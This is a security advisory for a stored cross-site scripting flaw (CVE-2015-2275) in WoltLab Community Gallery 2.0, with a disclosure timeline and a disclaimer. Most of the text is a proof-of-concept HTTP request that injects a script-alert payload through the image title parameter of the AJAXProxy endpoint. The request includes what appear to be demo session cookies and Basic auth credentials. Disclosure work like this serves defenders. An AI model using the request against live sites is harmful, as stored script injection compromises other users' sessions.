#Vulnerability title: Community Gallery - Srored Corss-Site Scripting vulnerability #Product: Community Gallery #Vendor: https://www.woltlab.com #Affected version: Community Gallery 2.0 before 12/10/2014 #Download link: https://www.woltlab.com/purchase/?products[]=com.woltlab.gallery #Fixed version: Community Gallery 2.0 after 12/26/2014 #CVE ID: CVE-2015-2275 #Author: Pham Kien Cuong (cuong.k.pham@itas.vn) & ITAS Team (www.itas.vn) ::PROOF OF CONCEPT:: + REQUEST: POST /7788bdbc/gallery/index.php/AJAXProxy/?t=7d53f8ad7553c0f885e3ccb60edbc0b6512 d9eed HTTP/1.1 Host: target User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Referer: http://target/7788bdbc/gallery/index.php/ImageEdit/7/ Content-Length: 1300 Cookie: wcf_cookieHash=f774ed47049756db7f6f635748b497cf08b6fef3; __cfduid=dceb0da13e569549c9531d07b3d287acb1420598620 Authorization: Basic Nzc4OGJkYmM6OWM1NWE3OWM= Connection: keep-alive Pragma: no-cache Cache-Control: no-cache actionName=saveImageData&className=gallery%5Cdata%5Cimage%5CImageAction&obje ctIDs%5B%5D=7&parameters%5Bdata%5D%5B7%5D%5BalbumID%5D=1&parameters%5Bdata%5 D%5B7%5D%5BcategoryIDs%5D%5B%5D=3&parameters%5Bdata%5D%5B7%5D%5Bdescription% 5D=test&parameters%5Bdata%5D%5B7%5D%5BenableComments%5D=1&parameters%5Bdata% 5D%5B7%5D%5Bfilename%5D=HoaMai1.jpg&parameters%5Bdata%5D%5B7%5D%5Bfilesize%5 D=47948&parameters%5Bdata%5D%5B7%5D%5Bheight%5D=480&parameters%5Bdata%5D%5B7 %5D%5BimageID%5D=7&parameters%5Bdata%5D%5B7%5D%5Blatitude%5D=0&parameters%5B data%5D%5B7%5D%5Blongitude%5D=0&parameters%5Bdata%5D%5B7%5D%5Borientation%5D =1&parameters%5Bdata%5D%5B7%5D%5Btags%5D%5B%5D=testing&parameters%5Bdata%5D% 5B7%5D%5BthumbnailHeight%5D=0&parameters%5Bdata%5D%5B7%5D%5BthumbnailWidth%5 D=0&parameters%5Bdata%5D%5B7%5D%5BthumbnailX%5D=0&parameters%5Bdata%5D%5B7%5 D%5BthumbnailY%5D=0&parameters%5Bdata%5D%5B7%5D%5BtinyURL%5D=http%3A%2F%2Fde mo.woltlab.com%2F7788bdbc%2Fgallery%2FuserImages%2F21%2F7-2147cd1e-tiny.jpg& parameters%5Bdata%5D%5B7%5D%5Btitle%5D=%3Cscript%3Ealert('XSS')%3C%2Fscript% 3E&parameters%5Bdata%5D%5B7%5D%5Burl%5D=http%3A%2F%2Fdemo.woltlab.com%2F7788 bdbc%2Fgallery%2FuserImages%2F21%2F7-2147cd1e.jpg&parameters%5Bdata%5D%5B7%5 D%5Bwidth%5D=640&parameters%5Bdata%5D%5B7%5D%5Blocation%5D=&parameters%5BisE dit%5D=1 - Vulnerable parameter: parameters[data][7][title] ::DISCLOSURE:: + 12/10/2014: Detect vulnerability + 12/10/2014: Send the detail vulnerability to vendor + 03/11/2015: Public information ::REFERENCE:: - http://www.itas.vn/news/itas-team-found-out-a-stored-xss-vulnerability-in-bu rning-board-community-gallery-77.html ::DISCLAIMER:: THE INFORMATION PRESENTED HEREIN ARE PROVIDED ?AS IS? WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED TO, ANY IMPLIED WARRANTIES AND MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE OR WARRANTIES OF QUALITY OR COMPLETENESS. THE INFORMATION PRESENTED HERE IS A SERVICE TO THE SECURITY COMMUNITY AND THE PRODUCT VENDORS. ANY APPLICATION OR DISTRIBUTION OF THIS INFORMATION CONSTITUTES ACCEPTANCE ACCEPTANCE AS IS, AND AT THE USER'S OWN RISK. -------------------------------------------- ITAS Team (www.itas.vn)